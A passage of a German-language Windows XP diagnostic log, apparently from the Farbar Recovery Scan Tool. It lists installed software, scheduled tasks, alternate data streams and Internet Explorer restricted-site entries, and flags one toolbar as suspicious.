HP Software Update (HKLM\...\{34957B51-9676-41CE-9E52-44AE91B73F1C}) (Version: 1.0.22.20030804 - Hewlett-Packard)

HPSystemDiagnostics (Version: 1.5.0.0 - Your Company Name) Hidden

iDR System Manager V3.50 (HKLM\...\iDR System Manager V3.50) (Version:  - )

iLok Client Helper x32x64 (HKLM\...\InstallShield_{27F0B084-8305-4891-B9FD-4F2E3EDF98D4}) (Version: 5.8.9 - PACE Anti-Piracy)

iLok Client Helper x32x64 (Version: 5.8.9 - PACE Anti-Piracy) Hidden

Interlok driver setup x32 (HKLM\...\{25613C10-27D2-410B-942B-D922D5C3A7BE}) (Version: 5.8.9 - PACE Anti-Piracy)

IObit Malware Fighter 3 (HKLM\...\IObit Malware Fighter_is1) (Version: 3.0 - IObit)

IomegaWare 4.0.2 (HKLM\...\IomegaWare) (Version:  - )

Java 8 Update 31 (HKLM\...\{26A24AE4-039D-4CA4-87B4-2F83218031F0}) (Version: 8.0.310 - Oracle Corporation)

Java DB 10.6.2.1 (HKLM\...\{73EC658D-A1C6-40CA-8E86-E05821BAACE7}) (Version: 10.6.2.1 - Oracle)

Java(TM) 7 (HKLM\...\{26A24AE4-039D-4CA4-87B4-2F83217000FF}) (Version: 7.0.0 - Oracle)

Java(TM) SE Development Kit 6 Update 31 (HKLM\...\{32A3A4F4-B792-11D6-A78A-00B0D0160310}) (Version: 1.6.0.310 - Oracle)

JavaFX 2.1.0 (HKLM\...\{1111706F-666A-4037-7777-210328764D10}) (Version: 2.1.0 - Oracle Corporation)

License Support (HKLM\...\InstallShield_{3165EA9B-36CC-499B-96FF-36FC30E10EF4}) (Version: 1.00.0000 - PACE Anti-Piracy, Inc.)

License Support (Version: 1.00.0000 - PACE Anti-Piracy, Inc.) Hidden

LightScribe  1.4.89.1 (Version: 1.4.89.1 - hxxp://www.lightscribe.com) Hidden

Logitech MouseWare 9.78  (HKLM\...\{5809E7CF-4DCF-11D4-9875-00105ACE7734}) (Version:  - )

Macromedia Contribute 3.11 (HKLM\...\{4B9535BF-CC90-4158-AF32-CAF57A8820CA}) (Version: 3.11.0.2419 - Macromedia, Inc.)

Macromedia Dreamweaver 8 (HKLM\...\{0837A661-FEC3-48B3-876C-91E7D32048A9}) (Version: 8.0.0.2734 - Macromedia)

Macromedia Extension Manager (HKLM\...\{5546CDB5-2CE2-498B-B059-5B3BF81FC41F}) (Version: 1.7.240 - Macromedia, Inc.)

Macromedia Fireworks 8 (HKLM\...\{4C24A8C1-7CFA-4650-AF15-732F5BD7B46D}) (Version: 8.0.0.777 - Macromedia)

Macromedia Flash 8 (HKLM\...\{2BD5C305-1B27-4D41-B690-7A61172D2FEB}) (Version: 8.00.0000 - Macromedia)

Macromedia Flash 8 Video Encoder (HKLM\...\{8BF2C401-02CE-424D-BC26-6C4F9FB446B6}) (Version: 1.00.0000 - Macromedia)

Microsoft .NET Framework 1.1 (HKLM\...\Microsoft .NET Framework 1.1  (1033)) (Version:  - )

Microsoft .NET Framework 1.1 German Language Pack (HKLM\...\{E78BFA60-5393-4C38-82AB-E8019E464EB4}) (Version: 1.1.4322 - Microsoft)

Microsoft .NET Framework 1.1 Security Update (KB2698023) (HKLM\...\M2698023) (Version:  - )

Microsoft .NET Framework 1.1 Security Update (KB2833941) (HKLM\...\M2833941) (Version:  - )

Microsoft .NET Framework 1.1 Security Update (KB979906) (HKLM\...\M979906) (Version:  - )

Microsoft .NET Framework 2.0 Service Pack 1 Language Pack - DEU (HKLM\...\{9309DD7E-EBFE-3C95-8B47-30D3A012F606}) (Version: 2.1.21022 - Microsoft Corporation)

Microsoft .NET Framework 2.0 Service Pack 2 (HKLM\...\{C09FB3CD-3D0C-3F2D-899A-6A1D67F2073F}) (Version: 2.2.30729 - Microsoft Corporation)

Microsoft .NET Framework 3.0 Service Pack 1 Language Pack - DEU (HKLM\...\{A1071AEB-B0EF-3F5F-BC84-83A270EBE496}) (Version: 3.1.21022 - Microsoft Corporation)

Microsoft .NET Framework 3.0 Service Pack 2 (HKLM\...\{A3051CD0-2F64-3813-A88D-B8DCCDE8F8C7}) (Version: 3.2.30729 - Microsoft Corporation)

Microsoft .NET Framework 3.5 SP1 (HKLM\...\Microsoft .NET Framework 3.5 SP1) (Version:  - Microsoft Corporation)

Microsoft .NET Framework 4 Client Profile (HKLM\...\Microsoft .NET Framework 4 Client Profile) (Version: 4.0.30319 - Microsoft Corporation)

Microsoft .NET Framework 4 Extended (HKLM\...\Microsoft .NET Framework 4 Extended) (Version: 4.0.30319 - Microsoft Corporation)

Microsoft Automated Troubleshooting Services Shim (HKLM\...\{c9920352-04e6-469d-bab8-e2b9c7c75415}.sdb) (Version:  - )

Microsoft Office Excel Viewer 2003 (HKLM\...\{90840409-6000-11D3-8CFE-0150048383C9}) (Version: 11.0.6412.0 - Microsoft Corporation)

Microsoft Visual C++ 2005 Redistributable (HKLM\...\{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}) (Version: 8.0.61001 - Microsoft Corporation)

Microsoft Visual C++ 2005 Redistributable (HKLM\...\{837b34e3-7c30-493c-8f6a-2b0f04e2912c}) (Version: 8.0.59193 - Microsoft Corporation)

Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729 (HKLM\...\{6AFCA4E1-9B78-3640-8F72-A7BF33448200}) (Version: 9.0.30729 - Microsoft Corporation)

Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.17 (HKLM\...\{9A25302D-30C0-39D9-BD6F-21E6EC160475}) (Version: 9.0.30729 - Microsoft Corporation)

Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.4148 (HKLM\...\{1F1C2DFC-2D24-3E06-BCB8-725134ADF989}) (Version: 9.0.30729.4148 - Microsoft Corporation)

Microsoft Visual C++ 2010  x86 Redistributable - 10.0.40219 (HKLM\...\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}) (Version: 10.0.40219 - Microsoft Corporation)

Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.51106 (HKLM\...\{8e70e4e1-06d7-470b-9f74-a51bef21088e}) (Version: 11.0.51106.1 - Microsoft Corporation)

Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (HKLM\...\{f65db027-aff3-4070-886a-0d87064aabb1}) (Version: 12.0.30501.0 - Microsoft Corporation)

Microsoft Word 97 (HKLM\...\Word8.0) (Version:  - )

Movavi Video Converter 5.3 (HKLM\...\Movavi Video Converter 5.3) (Version: 5.3 - MOVAVI)

Mozilla Firefox 14.0.1 (x86 de) (HKLM\...\Mozilla Firefox 14.0.1 (x86 de)) (Version: 14.0.1 - Mozilla)

MSVC80_x86 (Version: 1.0.1.0 - Nokia) Hidden

MSVC80_x86_v2 (Version: 1.0.3.0 - Nokia) Hidden

MSVC90_x86 (Version: 1.0.1.2 - Nokia) Hidden

MSXML 4.0 SP2 (KB927978) (HKLM\...\{37477865-A3F1-4772-AD43-AAFC6BCFF99F}) (Version: 4.20.9841.0 - Microsoft Corporation)

MSXML 4.0 SP2 (KB936181) (HKLM\...\{C04E32E0-0416-434D-AFB9-6969D703A9EF}) (Version: 4.20.9848.0 - Microsoft Corporation)

MSXML 4.0 SP2 (KB954430) (HKLM\...\{86493ADD-824D-4B8E-BD72-8C5DCDC52A71}) (Version: 4.20.9870.0 - Microsoft Corporation)

MSXML 4.0 SP2 (KB973688) (HKLM\...\{F662A8E6-F4DC-41A2-901E-8C11F044BDEC}) (Version: 4.20.9876.0 - Microsoft Corporation)

MSXML 4.0 SP2 Parser and SDK (HKLM\...\{716E0306-8318-4364-8B8F-0CC4E9376BAC}) (Version: 4.20.9818.0 - Microsoft Corporation)

MSXML 6 Service Pack 2 (KB954459) (HKLM\...\{1A528690-6A2D-4BC5-B143-8C4AE8D19D96}) (Version: 6.20.1099.0 - Microsoft Corporation)

MySQL Connector C++ 1.1.6 (HKLM\...\{3986AD3D-19E0-4FEF-BCBA-08D66BFC216E}) (Version: 1.1.6 - Oracle and/or its affiliates)

MySQL Connector J (HKLM\...\{5E91E205-AC15-4FA2-8A73-3CB5EC0E04A5}) (Version: 5.1.35 - Oracle Corporation)

MySQL Connector Net 6.9.6 (HKLM\...\{71458704-E552-4A3E-8BFA-4F61C1F70724}) (Version: 6.9.6 - Oracle)

MySQL Connector/C 6.1 (HKLM\...\{E05E5D1F-4842-47FD-AB62-57FD89801084}) (Version: 6.1.6 - Oracle Corporation)

MySQL Connector/ODBC 5.3 (HKLM\...\{4C6A664C-DCA0-4CC6-8752-ED0850E3135A}) (Version: 5.3.4 - Oracle Corporation)

MySQL Control Center (HKLM\...\{7EFDA3AC-8A61-43C0-B023-33866829C816}) (Version: 0.9.4 - MySQL AB)

MySQL Documents 5.6 (HKLM\...\{3B77CCCC-740C-4DAE-8ACB-119DB9EB3D79}) (Version: 5.6.25 - Oracle Corporation)

MySQL Examples and Samples 5.6 (HKLM\...\{27DB65EA-A1BE-481A-9CE5-6F8D971C20FB}) (Version: 5.6.25 - Oracle Corporation)

MySQL Installer - Community (HKLM\...\{E337B02E-785E-4D32-9E8E-8C1C55DD3811}) (Version: 1.4.8.0 - Oracle Corporation)

MySQL Notifier 1.1.6 (HKLM\...\{CB76A6E9-B184-461D-A8BE-7D0D73199545}) (Version: 1.1.6 - Oracle)

MySQL Server 5.6 (HKLM\...\{88509059-D1CE-4D8B-8EC8-ED51D1F138C7}) (Version: 5.6.25 - Oracle Corporation)

Nero Suite (HKLM\...\NeroMultiInstaller!UninstallKey) (Version:  - )

OLYMPUS Digital Camera Updater (HKLM\...\{2A9E8F56-C31B-4DBB-BFE2-0F4EC8192355}) (Version: 1.0.3 - OLYMPUS IMAGING CORP.)

OLYMPUS Viewer 2 (HKLM\...\{7177EE4E-3D1D-4F45-85B5-B93DC758BA0B}) (Version: 1.1.1 - OLYMPUS IMAGING CORP.)

OpenMG Limited Patch 4.7-07-14-05-01 (HKLM\...\OpenMG HotFix4.7-07-13-22-01) (Version:  - )

OpenMG Secure Module 4.7.00 (HKLM\...\InstallShield_{CCD663AE-610D-4BDF-AAB0-E914B044527D}) (Version: 4.7.00.12140 - Sony Corporation)

OpenMG Secure Module 4.7.00 (Version: 4.7.00.12140 - Sony Corporation) Hidden

Opera 11.50 (HKLM\...\Opera 11.50.1074) (Version: 11.50.1074 - Opera Software ASA)

Opera Stable 19.0.1326.63 (HKLM\...\Opera 19.0.1326.63) (Version: 19.0.1326.63 - Opera Software ASA)

Overland (Version: 2.1.4 - Hewlett-Packard) Hidden

overland (Version: 2.1.5 - HP) Hidden

PDFsam Basic (HKLM\...\{4E4EF242-7FF0-423E-99ED-C96305B840C0}) (Version: 3.0.10.0 - Andrea Vacondio)

PhotoGallery (Version: 5.35.0.059 - Hewlett-Packard) Hidden

PrintScreen (Version: 5.35.0.035 - Hewlett-Packard) Hidden

QFolder (Version: 1.00.0000 - Hewlett-Packard) Hidden

QuickProjects (Version: 5.35.0.047 - Hewlett-Packard) Hidden

QuickTime (HKLM\...\{0E64B098-8018-4256-BA23-C316A43AD9B0}) (Version: 7.72.80.56 - Apple Inc.)

Readme (Version: 40.0.105.000 - Hewlett-Packard) Hidden

RealPlayer (HKLM\...\RealPlayer 6.0) (Version:  - RealNetworks)

RME Fireface (HKLM\...\FIREFACE) (Version: 2.9.992.0 - RME Intelligent Audio Solutions)

Scan (Version: 3.5.0.0 - Hewlett-Packard) Hidden

Sicherheitsupdate für Microsoft Windows (KB2564958) (HKLM\...\KB2564958) (Version:  - Microsoft Corporation)

Sicherheitsupdate für Windows Media Player (KB2834903) (HKLM\...\KB2834903_WM10L) (Version:  - Microsoft Corporation)

Sicherheitsupdate für Windows Media Player (KB2834904) (HKLM\...\KB2834904_WM11) (Version:  - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2115168) (HKLM\...\KB2115168) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2229593) (HKLM\...\KB2229593) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2296011) (HKLM\...\KB2296011) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2360937) (HKLM\...\KB2360937) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2387149) (HKLM\...\KB2387149) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2393802) (HKLM\...\KB2393802) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2423089) (HKLM\...\KB2423089) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2440591) (HKLM\...\KB2440591) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2443105) (HKLM\...\KB2443105) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2478960) (HKLM\...\KB2478960) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2478971) (HKLM\...\KB2478971) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2479943) (HKLM\...\KB2479943) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2481109) (HKLM\...\KB2481109) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2485663) (HKLM\...\KB2485663) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2507938) (HKLM\...\KB2507938) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2535512) (HKLM\...\KB2535512) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2536276-v2) (HKLM\...\KB2536276-v2) (Version: 2 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2544893-v2) (HKLM\...\KB2544893-v2) (Version: 2 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2566454) (HKLM\...\KB2566454) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2570947) (HKLM\...\KB2570947) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2584146) (HKLM\...\KB2584146) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2585542) (HKLM\...\KB2585542) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2592799) (HKLM\...\KB2592799) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2598479) (HKLM\...\KB2598479) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2603381) (HKLM\...\KB2603381) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2618451) (HKLM\...\KB2618451) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2620712) (HKLM\...\KB2620712) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2631813) (HKLM\...\KB2631813) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2655992) (HKLM\...\KB2655992) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2659262) (HKLM\...\KB2659262) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2686509) (HKLM\...\KB2686509) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2691442) (HKLM\...\KB2691442) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2698365) (HKLM\...\KB2698365) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2712808) (HKLM\...\KB2712808) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2723135-v2) (HKLM\...\KB2723135-v2) (Version: 2 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2753842-v2) (HKLM\...\KB2753842-v2) (Version: 2 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2758857) (HKLM\...\KB2758857) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2802968) (HKLM\...\KB2802968) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2807986) (HKLM\...\KB2807986) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2820197) (HKLM\...\KB2820197) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2834886) (HKLM\...\KB2834886) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2850851) (HKLM\...\KB2850851) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB923561) (HKLM\...\KB923561) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB941569) (HKLM\...\KB941569) (Version:  - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB946648) (HKLM\...\KB946648) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB950762) (HKLM\...\KB950762) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB950974) (HKLM\...\KB950974) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB951376-v2) (HKLM\...\KB951376-v2) (Version: 2 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB952954) (HKLM\...\KB952954) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB956572) (HKLM\...\KB956572) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB956844) (HKLM\...\KB956844) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB959426) (HKLM\...\KB959426) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB960859) (HKLM\...\KB960859) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB969059) (HKLM\...\KB969059) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB971657) (HKLM\...\KB971657) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB972270) (HKLM\...\KB972270) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB973869) (HKLM\...\KB973869) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB973904) (HKLM\...\KB973904) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB974318) (HKLM\...\KB974318) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB975467) (HKLM\...\KB975467) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB975713) (Version: 1 - Microsoft Corporation) Hidden

Sicherheitsupdate für Windows XP (KB978338) (HKLM\...\KB978338) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB979309) (HKLM\...\KB979309) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB981997) (HKLM\...\KB981997) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB982132) (HKLM\...\KB982132) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB982665) (HKLM\...\KB982665) (Version: 1 - Microsoft Corporation)

SkinsHP1 (Version: 5.35.0.043 - Hewlett-Packard) Hidden

SkinsHP2 (Version: 5.35.0.043 - Hewlett-Packard) Hidden

Smaart 7 (HKLM\...\5E8913DE-2A67-4521-9616-BB9D0FE164B9) (Version: 7.3.0 - Rational Acoustics, LLC)

SonicStage 4.3 (HKLM\...\{A0EB195B-5876-48E6-879D-33D4B2102610}) (Version: 4.3 - Sony Corporation)

Sonnox Restoration Tools for Wavelab VST v1.0.0 (32-bit) (HKLM\...\Sonnox Restoration Tools for Wavelab VST v1.0.0 (32-bit)_is1) (Version: 1.0.0 - Sonnox Ltd, Oxford, UK)

SoundMAX (HKLM\...\{F0A37341-D692-11D4-A984-009027EC0A9C}) (Version: 5.10.01.4151 - Analog Devices)

Spybot - Search & Destroy (HKLM\...\{B4092C6D-E886-4CB2-BA68-FE5A88D31DE6}_is1) (Version: 1.5.2 - Safer Networking Limited)

Stage Research SFX (HKLM\...\{D0FBD3F4-FEE9-40FB-A2FC-20141F647D42}) (Version: 5.6.23 - Stage Research)

Steinberg Upload Manager (HKLM\...\{88BBBD8F-4C19-4809-B84B-7A8F8238B48D}) (Version: 1.0.0 - Steinberg Media Technologies GmbH)

Suite Specific (Version: 2.0.0 - Adobe Systems, Incorporated) Hidden

Surfing Protection (HKLM\...\IObit Surfing Protection_is1) (Version: 1.2 - IObit)

swMSM (Version: 12.0.0.1 - Adobe Systems, Inc) Hidden

Telenor Software Update Service (Version: 1.0.3.147 - Telenor Corporation) Hidden

Telenorhjelpen (HKLM\...\{83C805EC-99B6-47C5-B542-E53EB5594C22}) (Version: 3.3.1.45 - Telenor)

TextPad 4.7 (HKLM\...\{B510A987-487E-4C66-9F4F-D386AC275715}) (Version: 4.7.2 - Ihr Firmenname)

TrayApp (Version: 5.35.0.035 - Hewlett-Packard) Hidden

Unload (Version: 3.5.0 - Hewlett-Packard) Hidden

Update für Windows XP (KB951978) (Version: 1 - Microsoft Corporation) Hidden

Update für Windows XP (KB955759) (HKLM\...\KB955759) (Version: 1 - Microsoft Corporation)

Update für Windows XP (KB968389) (HKLM\...\KB968389) (Version: 1 - Microsoft Corporation)

VC80CRTRedist - 8.0.50727.6195 (Version: 1.2.0 - DivX, Inc) Hidden

Vimeo Uploader (HKLM\...\vimeo.Duplo.3E2F2984357E7A95AE95C69EF2C5C14640284048.1) (Version: 0.944 - UNKNOWN)

Vimeo Uploader (Version: 0.255 - UNKNOWN) Hidden

Visual C++ Redistributables (HKLM\...\InstallShield_{C2AF7B2D-7018-414B-9B8B-D3C9F3BED04F}) (Version: 1.00.0000 - PACE Anti-Piracy, Inc.)

VMN Toolbar (HKLM\...\vmndtxtb) (Version: 3.5.0.4 - Visicom Media Inc.) <==== ACHTUNG

WaveLab 6 (HKLM\...\WaveLabPro) (Version: 6.1.1.353 - Steinberg)

WavePad Uninstall (HKLM\...\WavePad) (Version:  - )

Waves (Version: 5.9.7.2 - Waves) Hidden

Waves Complete V8r13 (HKLM\...\{80000001-C561-4E32-99EB-3C5AD3683A70}) (Version: 8.0.13 - Waves)

WebFldrs XP (Version: 9.50.7523 - Microsoft Corporation) Hidden

WebReg (Version: 5.31.0.147 - Hewlett-Packard) Hidden

Winamp (remove only) (HKLM\...\Winamp) (Version:  - )

Windows 7 Upgrade Advisor (HKLM\...\{9A4D182C-35C7-4791-8484-4304EBC9101A}) (Version: 2.0.5000.0 - Microsoft Corporation)

Windows Genuine Advantage Notifications (KB905474) (HKLM\...\WgaNotify) (Version: 1.9.0040.0 - Microsoft Corporation)

Windows Internet Explorer 8 (HKLM\...\ie8) (Version: 20090308.140743 - Microsoft Corporation)

Windows Media Format Runtime (HKLM\...\Windows Media Format Runtime) (Version:  - )

Windows PowerShell(TM) 1.0 (HKLM\...\KB926139-v2) (Version: 2 - Microsoft Corporation)

Windows XP Service Pack 3 (HKLM\...\Windows XP Service Pack) (Version: 20080414.031514 - Microsoft Corporation)

Windows-Treiberpaket - OLYMPUS IMAGING CORP. Camera Communication Driver Package (09/09/2009 1.0.0.0) (HKLM\...\E77704EF5E71F4F18CADFBFA68595AFE036D5D97) (Version: 09/09/2009 1.0.0.0 - OLYMPUS IMAGING CORP.)

WinRAR (HKLM\...\WinRAR archiver) (Version:  - )

WinZip (HKLM\...\WinZip) (Version:  8.1 SR-2  (5791g) - WinZip Computing, Inc.)
 

==================== Benutzerdefinierte CLSID (Nicht auf der Ausnahmeliste): ==========================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)
 

CustomCLSID: HKU\S-1-5-21-796845957-1960408961-682003330-1003_Classes\CLSID\{0FB8DE1A-E991-40E5-83CA-5172084B2073}\InprocServer32 -> C:\Programme\HP\Digital Imaging\bin\hpISdownsampler.dll (Hewlett-Packard Co.)

CustomCLSID: HKU\S-1-5-21-796845957-1960408961-682003330-1003_Classes\CLSID\{DA7A2849-2E3F-4F87-A1C4-43843592BAED}\InprocServer32 -> C:\Programme\HP\Digital Imaging\bin\hpodcpxe.dll (Hewlett-Packard Company)
 

==================== Geplante Aufgaben (Nicht auf der Ausnahmeliste) =============
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Aufgabe verschoben. Die Datei, die durch die Aufgabe gestartet wird, wird nicht verschoben.)
 

Task: C:\WINDOWS\Tasks\Adobe Flash Player Updater.job => C:\WINDOWS\system32\Macromed\Flash\FlashPlayerUpdateService.exe

Task: C:\WINDOWS\Tasks\GoogleUpdateTaskMachineCore.job => C:\Programme\Google\Update\GoogleUpdate.exe

Task: C:\WINDOWS\Tasks\GoogleUpdateTaskMachineUA.job => C:\Programme\Google\Update\GoogleUpdate.exe

Task: C:\WINDOWS\Tasks\GoogleUpdateTaskUserS-1-5-21-796845957-1960408961-682003330-1005Core.job => C:\Dokumente und Einstellungen\Bojan\Lokale Einstellungen\Anwendungsdaten\Google\Update\GoogleUpdate.exe

Task: C:\WINDOWS\Tasks\GoogleUpdateTaskUserS-1-5-21-796845957-1960408961-682003330-1005UA.job => C:\Dokumente und Einstellungen\Bojan\Lokale Einstellungen\Anwendungsdaten\Google\Update\GoogleUpdate.exe
 

==================== Verknüpfungen =============================
 

(Die Einträge können gelistet werden, um sie zurückzusetzen oder zu entfernen.)
 

Shortcut: C:\Dokumente und Einstellungen\All Users\Startmenü\Programme\Waves\Remove Authorization Caches.lnk -> C:\Programme\Waves\Utilities\clear_auth_cache.bat ()

Shortcut: C:\Dokumente und Einstellungen\All Users\Startmenü\Programme\Waves\Unregister Unauthorized V5 Plug-ins.lnk -> C:\Programme\Waves\Plug-Ins\unregisterunauth.bat (Keine Datei)

Shortcut: C:\Dokumente und Einstellungen\All Users\Startmenü\Programme\Macromedia\Uninstall Macromedia FlashPaper 2.lnk -> C:\WINDOWS\Installer\{4B9535BF-CC90-4158-AF32-CAF57A8820CA}\NewShortcut2_1.D404042C_B1B4_413E_B1C0_526D0BBE80E3.bat (Macromedia)
 

==================== Geladene Module (Nicht auf der Ausnahmeliste) ==============
 

2007-09-09 22:13 - 2007-05-22 10:59 - 00128512 _____ () C:\Programme\WinRAR\rarext.dll

2005-06-27 10:42 - 2005-06-27 10:42 - 00167936 _____ () C:\Programme\Macromedia\FlashPaper 2\FlashPaperContextMenu.dll

2004-01-05 11:44 - 2004-01-05 11:44 - 00565248 _____ () C:\WINDOWS\system32\hpotscl.dll
 

==================== Alternate Data Streams (Nicht auf der Ausnahmeliste) =========
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird nur der ADS entfernt.)
 

AlternateDataStreams: C:\WINDOWS:nlsPreferences [258]

AlternateDataStreams: C:\Programme\Gemeinsame Dateien\MSN:biSG7jlOe4kiWcFsw4kKVL1B4 [1748]

AlternateDataStreams: C:\Programme\Gemeinsame Dateien\MSN:JayWGbyLJ62t4ZxTekMUJWuAv [1940]

AlternateDataStreams: C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\Microsoft:66OGEr4wwL0YXXNz2ot7PZNq [2408]

AlternateDataStreams: C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\Microsoft:7Rh0gvPXnkL8jDl5CvmhExThja [1938]

AlternateDataStreams: C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\Microsoft:pz5aDZabB0h1bSG9Iqs28d3kX [2406]

AlternateDataStreams: C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\Microsoft:Q36zbZrgA8HBAP7URdqHr [2066]

AlternateDataStreams: C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\Microsoft:qU1xRduu5Gmj8cDfVeQpYqum [2392]

AlternateDataStreams: C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\Reprise:yhuwxvwhfkxkcqmbzxjuiqjduvsftifh [0]
 

==================== Abgesicherter Modus (Nicht auf der Ausnahmeliste) ===================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Der Wert "AlternateShell" wird wiederhergestellt.)
 

HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\IMFservice => ""="Service"

HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\Wdf01000.sys => ""="Driver"

HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Wdf01000.sys => ""="Driver"
 

==================== Verknüpfungen (Nicht auf der Ausnahmeliste) ===============
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Registryeintrag auf den Standardwert zurückgesetzt oder entfernt.)
 
 

==================== Internet Explorer Vertrauenswürdig/Eingeschränkt ===============
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt.)
 

IE restricted site: HKU\.DEFAULT\...\007guard.com -> install.007guard.com

IE restricted site: HKU\.DEFAULT\...\008i.com -> 008i.com

IE restricted site: HKU\.DEFAULT\...\008k.com -> www.008k.com

IE restricted site: HKU\.DEFAULT\...\00hq.com -> www.00hq.com

IE restricted site: HKU\.DEFAULT\...\010402.com -> 010402.com

IE restricted site: HKU\.DEFAULT\...\032439.com -> 80gw6ry3i3x3qbrkwhxhw.032439.com

IE restricted site: HKU\.DEFAULT\...\0scan.com -> www.0scan.com

IE restricted site: HKU\.DEFAULT\...\1-2005-search.com -> www.1-2005-search.com

IE restricted site: HKU\.DEFAULT\...\1-domains-registrations.com -> www.1-domains-registrations.com

IE restricted site: HKU\.DEFAULT\...\1000gratisproben.com -> www.1000gratisproben.com

IE restricted site: HKU\.DEFAULT\...\1001namen.com -> www.1001namen.com

IE restricted site: HKU\.DEFAULT\...\100888290cs.com -> mir.100888290cs.com

IE restricted site: HKU\.DEFAULT\...\100sexlinks.com -> www.100sexlinks.com

